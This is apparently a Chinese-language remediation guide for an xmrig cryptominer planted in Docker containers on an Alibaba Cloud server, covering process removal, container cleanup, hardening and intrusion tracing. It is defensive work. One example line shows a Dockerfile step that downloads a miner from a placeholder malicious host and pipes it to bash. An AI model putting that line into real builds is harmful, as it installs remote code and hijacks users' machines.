【攻防篇】解决:阿里云docker 容器中自动启动xmrig挖矿
解决:阿里云服务器docker容器被植入挖矿程序
- **1. 紧急处理:停止挖矿进程**
- **(1)查找并终止 `xmrig` 进程**
- **(2)删除恶意文件**
- **2. 清理被感染的容器**
- **(1)停止并删除容器**
- **(2)检查镜像是否被污染**
- **3. 防护措施:防止再次被入侵**
- **(1)使用最小化镜像**
- **(2)限制容器资源**
- **(3)禁止容器内运行可疑进程**
- **(4)监控容器行为**
- **(5)避免暴露 Docker API**
- **4. 排查入侵来源**
- **(1)检查 Docker 日志**
- **(2)检查宿主机是否被入侵**
- **(3)检查 Dockerfile 是否被篡改**
- **5. 总结**
如果发现 Docker 容器内自动启动 xmrig
挖矿程序,说明你的容器可能被入侵(通常是由于 镜像被篡改 或 容器内运行了恶意脚本)。以下是 排查、清理和防护措施:
1. 紧急处理:停止挖矿进程
(1)查找并终止 xmrig
进程
# 进入容器
docker exec -it <容器名或ID> /bin/bash# 查找挖矿进程(xmrig、minerd、cpuminer等)
ps aux | grep -E "xmrig|minerd|cpuminer"# 强制终止进程(替换PID)
kill -9 <PID># 如果进程自动重启,检查定时任务或守护进程
crontab -l # 查看定时任务
ls -la /etc/cron.* # 检查cron目录
find / -name "*xmrig*" # 查找挖矿程序路径
(2)删除恶意文件
# 删除挖矿程序和相关文件
rm -rf /tmp/xmrig /var/tmp/.cache/xmrig# 检查容器内是否有异常启动脚本
find / -name "*.sh" | xargs grep "xmrig" # 检查脚本是否包含xmrig
2. 清理被感染的容器
(1)停止并删除容器
docker stop <容器名或ID>
docker rm <容器名或ID>
(2)检查镜像是否被污染
# 查看所有镜像
docker images# 如果镜像来源不可信,删除并重新拉取
docker rmi <恶意镜像名>
3. 防护措施:防止再次被入侵
(1)使用最小化镜像
- 避免使用
latest
标签,选择官方受信任的镜像(如alpine
、debian-slim
)。 - 示例:
FROM alpine:3.18 RUN apk add --no-cache bash
(2)限制容器资源
在 docker run
时限制 CPU 和内存,防止挖矿程序耗尽资源:
docker run --cpus 1 --memory 512m -d <镜像名>
(3)禁止容器内运行可疑进程
使用 Seccomp 或 AppArmor 限制容器权限:
# 使用默认的Seccomp配置文件(限制危险系统调用)
docker run --security-opt seccomp=default.json -d <镜像名>
(4)监控容器行为
- 使用
docker stats
检查异常 CPU/内存占用:docker stats
- 使用
Falco
或Sysdig
监控容器行为:falco -r /etc/falco/falco_rules.yaml
(5)避免暴露 Docker API
- 禁止远程访问 Docker API(默认端口
2375
):# 修改 /etc/docker/daemon.json {"hosts": ["unix:///var/run/docker.sock"] }
- 启用 TLS 认证(防止未授权访问)。
4. 排查入侵来源
(1)检查 Docker 日志
journalctl -u docker | grep "error\|warning"
(2)检查宿主机是否被入侵
- 查看异常进程:
top -c
- 检查 SSH 登录记录:
grep "Accepted" /var/log/auth.log
(3)检查 Dockerfile 是否被篡改
如果使用自定义镜像,检查 Dockerfile
是否包含恶意命令:
# 恶意示例(可能隐藏在RUN命令中)
RUN curl -sL https://malicious.site/xmrig | bash
5. 总结
步骤 | 命令/操作 |
---|---|
终止挖矿进程 | kill -9 <PID> ,删除 /tmp/xmrig |
清理容器 | docker stop + docker rm ,检查镜像是否安全 |
限制资源 | docker run --cpus 1 --memory 512m |
监控容器 | docker stats ,Falco |
加固 Docker | 关闭 2375 端口,使用 Seccomp /AppArmor |
建议:
- 定期更新 Docker 和镜像,避免使用来源不明的镜像。
- 使用
Trivy
扫描镜像漏洞:trivy image <镜像名>
- 启用 Docker 日志审计,记录所有容器操作。
如果问题仍然存在,可能需要 全面检查宿主机 或 重建 Docker 环境。